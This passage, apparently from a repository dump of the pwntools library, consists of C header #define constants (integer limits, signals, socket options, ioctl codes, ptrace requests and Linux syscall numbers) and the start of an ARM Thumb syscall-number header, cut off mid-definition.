(2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (2147483647))\n#define INTPTR_MAX (2147483647)\n#define UINTPTR_MAX 0xffffffff\n#define SIZE_MAX 0xffffffff\n#define PTRDIFF_MIN (-1 - (2147483647))\n#define PTRDIFF_MAX (2147483647)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (2147483647))\n#define INT_FAST16_MAX (2147483647)\n#define UINT_FAST16_MAX 0xffffffff\n#define INT_FAST32_MIN (-1 - (2147483647))\n#define INT_FAST32_MAX (2147483647)\n#define UINT_FAST32_MAX 0xffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define MC_TSTATE 0\n#define MC_PC 1\n#define MC_NPC 2\n#define MC_Y 3\n#define MC_G1 4\n#define MC_G2 5\n#define MC_G3 6\n#define MC_G4 7\n#define MC_G5 8\n#define MC_G6 9\n#define MC_G7 10\n#define MC_O0 11\n#define MC_O1 12\n#define MC_O2 13\n#define MC_O3 14\n#define MC_O4 15\n#define MC_O5 16\n#define MC_O6 17\n#define MC_O7 18\n#define MC_NGREG 19\n#define MC_MAXFPQ 16\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FILE 0\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define SYS_accept 99\n#define SYS_accept4 323\n#define SYS_access 33\n#define SYS_acct 51\n#define SYS_add_key 281\n#define SYS_adjtimex 219\n#define SYS_afs_syscall 227\n#define SYS_alarm 27\n#define SYS_aplib 255\n#define SYS_bdflush 225\n#define SYS_bind 353\n#define SYS_bpf 349\n#define SYS_brk 17\n#define SYS_capget 21\n#define SYS_capset 22\n#define SYS_chdir 12\n#define SYS_chmod 15\n#define SYS_chown 13\n#define SYS_chroot 61\n#define SYS_clock_adjtime 334\n#define SYS_clock_getres 258\n#define SYS_clock_gettime 257\n#define SYS_clock_nanosleep 259\n#define SYS_clock_settime 256\n#define SYS_clone 217\n#define SYS_close 6\n#define SYS_connect 98\n#define SYS_copy_file_range 357\n#define SYS_creat 8\n#define SYS_create_module 221\n#define SYS_delete_module 222\n#define SYS_dup 41\n#define SYS_dup2 90\n#define SYS_dup3 320\n#define SYS_epoll_create 193\n#define SYS_epoll_create1 319\n#define SYS_epoll_ctl 194\n#define SYS_epoll_pwait 309\n#define SYS_epoll_wait 195\n#define SYS_eventfd 313\n#define SYS_eventfd2 318\n#define SYS_execv 11\n#define SYS_execve 59\n#define SYS_execveat 350\n#define SYS_exit 1\n#define SYS_exit_group 188\n#define SYS_faccessat 296\n#define SYS_fadvise64 209\n#define SYS_fadvise64_64 210\n#define SYS_fallocate 314\n#define SYS_fanotify_init 329\n#define SYS_fanotify_mark 330\n#define SYS_fchdir 176\n#define SYS_fchmod 124\n#define SYS_fchmodat 295\n#define SYS_fchown 123\n#define SYS_fchownat 287\n#define SYS_fcntl 92\n#define SYS_fdatasync 253\n#define SYS_fgetxattr 177\n#define SYS_finit_module 342\n#define SYS_flistxattr 180\n#define SYS_flock 131\n#define SYS_fork 2\n#define SYS_fremovexattr 186\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 171\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstat 62\n#define SYS_fstatat64 289\n#define SYS_fstatfs 158\n#define SYS_fstatfs64 235\n#define SYS_fsync 95\n#define SYS_ftruncate 130\n#define SYS_futex 142\n#define SYS_futimesat 288\n#define SYS_getcpu 308\n#define SYS_getcwd 119\n#define SYS_getdents 174\n#define SYS_getdents64 154\n#define SYS_getdomainname 162\n#define SYS_getegid 50\n#define SYS_geteuid 49\n#define SYS_getgid 47\n#define SYS_getgroups 79\n#define SYS_getitimer 86\n#define SYS_get_kernel_syms 223\n#define SYS_get_mempolicy 304\n#define SYS_getpagesize 64\n#define SYS_getpeername 141\n#define SYS_getpgid 224\n#define SYS_getpgrp 81\n#define SYS_getpid 20\n#define SYS_getppid 197\n#define SYS_getpriority 100\n#define SYS_getrandom 347\n#define SYS_getresgid 111\n#define SYS_getresuid 109\n#define SYS_getrlimit 144\n#define SYS_get_robust_list 301\n#define SYS_getrusage 117\n#define SYS_getsid 252\n#define SYS_getsockname 150\n#define SYS_getsockopt 118\n#define SYS_gettid 143\n#define SYS_gettimeofday 116\n#define SYS_getuid 24\n#define SYS_getxattr 172\n#define SYS_init_module 190\n#define SYS_inotify_init1 322\n#define SYS_io_cancel 271\n#define SYS_ioctl 54\n#define SYS_io_destroy 269\n#define SYS_io_getevents 272\n#define SYS_io_pgetevents 361\n#define SYS_io_setup 268\n#define SYS_io_submit 270\n#define SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_ipc 215\n#define SYS_kcmp 341\n#define SYS_kern_features 340\n#define SYS_kexec_load 306\n#define SYS_keyctl 283\n#define SYS_kill 37\n#define SYS_lchown 16\n#define SYS_lgetxattr 173\n#define SYS_link 9\n#define SYS_linkat 292\n#define SYS_listen 354\n#define SYS_listxattr 178\n#define SYS_llistxattr 179\n#define SYS__llseek 236\n#define SYS_lookup_dcookie 208\n#define SYS_lremovexattr 182\n#define SYS_lseek 19\n#define SYS_lsetxattr 170\n#define SYS_lstat 40\n#define SYS_madvise 75\n#define SYS_mbind 303\n#define SYS_membarrier 351\n#define SYS_memfd_create 348\n#define SYS_memory_ordering 52\n#define SYS_migrate_pages 302\n#define SYS_mincore 78\n#define SYS_mkdir 136\n#define SYS_mkdirat 285\n#define SYS_mknod 14\n#define SYS_mknodat 286\n#define SYS_mlock 237\n#define SYS_mlock2 356\n#define SYS_mlockall 239\n#define SYS_mmap 71\n#define SYS_mount 167\n#define SYS_move_mount 429\n#define SYS_move_pages 307\n#define SYS_mprotect 74\n#define SYS_mq_getsetattr 278\n#define SYS_mq_notify 277\n#define SYS_mq_open 273\n#define SYS_mq_timedreceive 276\n#define SYS_mq_timedsend 275\n#define SYS_mq_unlink 274\n#define SYS_mremap 250\n#define SYS_msgctl 402\n#define SYS_msgget 399\n#define SYS_msgrcv 401\n#define SYS_msgsnd 400\n#define SYS_msync 65\n#define SYS_munlock 238\n#define SYS_munlockall 240\n#define SYS_munmap 73\n#define SYS_name_to_handle_at 332\n#define SYS_nanosleep 249\n#define SYS__newselect 230\n#define SYS_nfsservctl 254\n#define SYS_nice 34\n#define SYS_oldlstat 202\n#define SYS_open 5\n#define SYS_openat 284\n#define SYS_openat2 437\n#define SYS_open_by_handle_at 333\n#define SYS_open_tree 428\n#define SYS_pause 29\n#define SYS_pciconfig_read 148\n#define SYS_pciconfig_write 149\n#define SYS_perfctr 18\n#define SYS_perf_event_open 327\n#define SYS_personality 191\n#define SYS_pidfd_getfd 438\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe 42\n#define SYS_pipe2 321\n#define SYS_pivot_root 146\n#define SYS_pkey_alloc 363\n#define SYS_pkey_free 364\n#define SYS_pkey_mprotect 362\n#define SYS_poll 153\n#define SYS_ppoll 298\n#define SYS_prctl 147\n#define SYS_pread 67\n#define SYS_preadv 324\n#define SYS_preadv2 358\n#define SYS_prlimit64 331\n#define SYS_process_vm_readv 338\n#define SYS_process_vm_writev 339\n#define SYS_pselect6 297\n#define SYS_ptrace 26\n#define SYS_pwrite 68\n#define SYS_pwritev 325\n#define SYS_pwritev2 359\n#define SYS_query_module 184\n#define SYS_quotactl 165\n#define SYS_read 3\n#define SYS_readahead 205\n#define SYS_readdir 204\n#define SYS_readlink 58\n#define SYS_readlinkat 294\n#define SYS_readv 120\n#define SYS_reboot 55\n#define SYS_recvfrom 125\n#define SYS_recvmmsg 328\n#define SYS_recvmsg 113\n#define SYS_remap_file_pages 192\n#define SYS_removexattr 181\n#define SYS_rename 128\n#define SYS_renameat 291\n#define SYS_renameat2 345\n#define SYS_request_key 282\n#define SYS_rmdir 137\n#define SYS_rseq 365\n#define SYS_rt_sigaction 102\n#define SYS_rt_sigpending 104\n#define SYS_rt_sigprocmask 103\n#define SYS_rt_sigqueueinfo 106\n#define SYS_rt_sigreturn 101\n#define SYS_rt_sigsuspend 107\n#define SYS_rt_sigtimedwait 105\n#define SYS_rt_tgsigqueueinfo 326\n#define SYS_sched_getaffinity 260\n#define SYS_sched_getattr 344\n#define SYS_sched_getparam 242\n#define SYS_sched_get_priority_max 246\n#define SYS_sched_get_priority_min 247\n#define SYS_sched_getscheduler 244\n#define SYS_sched_rr_get_interval 248\n#define SYS_sched_setaffinity 261\n#define SYS_sched_setattr 343\n#define SYS_sched_setparam 241\n#define SYS_sched_setscheduler 243\n#define SYS_sched_yield 245\n#define SYS_seccomp 346\n#define SYS_select 93\n#define SYS_semctl 394\n#define SYS_semget 393\n#define SYS_semtimedop 392\n#define SYS_sendfile 39\n#define SYS_sendfile64 140\n#define SYS_sendmmsg 336\n#define SYS_sendmsg 114\n#define SYS_sendto 133\n#define SYS_setdomainname 163\n#define SYS_setfsgid 229\n#define SYS_setfsuid 228\n#define SYS_setgid 46\n#define SYS_setgroups 80\n#define SYS_sethostname 88\n#define SYS_setitimer 83\n#define SYS_set_mempolicy 305\n#define SYS_setns 337\n#define SYS_setpgid 185\n#define SYS_setpriority 96\n#define SYS_setregid 127\n#define SYS_setresgid 110\n#define SYS_setresuid 108\n#define SYS_setreuid 126\n#define SYS_setrlimit 145\n#define SYS_set_robust_list 300\n#define SYS_setsid 175\n#define SYS_setsockopt 355\n#define SYS_set_tid_address 166\n#define SYS_settimeofday 122\n#define SYS_setuid 23\n#define SYS_setxattr 169\n#define SYS_sgetmask 199\n#define SYS_shmat 397\n#define SYS_shmctl 396\n#define SYS_shmdt 398\n#define SYS_shmget 395\n#define SYS_shutdown 134\n#define SYS_sigaction 198\n#define SYS_sigaltstack 28\n#define SYS_signal 48\n#define SYS_signalfd 311\n#define SYS_signalfd4 317\n#define SYS_sigpending 183\n#define SYS_sigprocmask 220\n#define SYS_sigreturn 216\n#define SYS_sigsuspend 201\n#define SYS_socket 97\n#define SYS_socketcall 206\n#define SYS_socketpair 135\n#define SYS_ssetmask 200\n#define SYS_stat 38\n#define SYS_statfs 157\n#define SYS_statfs64 234\n#define SYS_statx 360\n#define SYS_stime 233\n#define SYS_swapoff 213\n#define SYS_swapon 85\n#define SYS_symlink 57\n#define SYS_symlinkat 293\n#define SYS_sync 36\n#define SYS_syncfs 335\n#define SYS__sysctl 251\n#define SYS_sysfs 226\n#define SYS_sysinfo 214\n#define SYS_syslog 207\n#define SYS_tgkill 211\n#define SYS_timer_create 266\n#define SYS_timer_delete 265\n#define SYS_timerfd 312\n#define SYS_timerfd_gettime 316\n#define SYS_timerfd_settime 315\n#define SYS_timer_getoverrun 264\n#define SYS_timer_gettime 263\n#define SYS_timer_settime 262\n#define SYS_times 43\n#define SYS_tkill 187\n#define SYS_truncate 129\n#define SYS_umask 60\n#define SYS_umount 159\n#define SYS_umount2 45\n#define SYS_uname 189\n#define SYS_unlink 10\n#define SYS_unlinkat 290\n#define SYS_unshare 299\n#define SYS_uselib 203\n#define SYS_userfaultfd 352\n#define SYS_ustat 168\n#define SYS_utime 30\n#define SYS_utimensat 310\n#define SYS_utimes 138\n#define SYS_utrap_install 164\n#define SYS_vfork 66\n#define SYS_vhangup 76\n#define SYS_wait4 7\n#define SYS_waitid 279\n#define SYS_waitpid 212\n#define SYS_write 4\n#define SYS_writev 121\n"
  },
  {
    "path": "pwnlib/data/includes/linux/thumb.h",
    "content": "#define _ARM_SYSCALL_H 1\n#define __NR_OABI_SYSCALL_BASE 0x900000\n#define __NR_SYSCALL_BASE 0\n#define __NR_restart_syscall (0+  0)\n#define __NR_exit (0+  1)\n#define __NR_fork (0+  2)\n#define __NR_read (0+  3)\n#define __NR_write (0+  4)\n#define __NR_open (0+  5)\n#define __NR_close (0+  6)\n#define __NR_creat (0+  8)\n#define __NR_link (0+  9)\n#define __NR_unlink (0+ 10)\n#define __NR_execve (0+ 11)\n#define __NR_chdir (0+ 12)\n#define __NR_time (0+ 13)\n#define __NR_mknod (0+ 14)\n#define __NR_chmod (0+ 15)\n#define __NR_lchown (0+ 16)\n#define __NR_lseek (0+ 19)\n#define __NR_getpid (0+ 20)\n#define __NR_mount (0+ 21)\n#define __NR_umount (0+ 22)\n#define __NR_setuid (0+ 23)\n#define __NR_getuid (0+ 24)\n#define __NR_stime (0+ 25)\n#define __NR_ptrace (0+ 26)\n#define __NR_alarm (0+ 27)\n#define __NR_pause (0+ 29)\n#define __NR_utime (0+ 30)\n#define __NR_access (0+ 33)\n#define __NR_nice (0+ 34)\n#define __NR_sync (0+ 36)\n#define __NR_kill (0+ 37)\n#define __NR_rename (0+ 38)\n#define 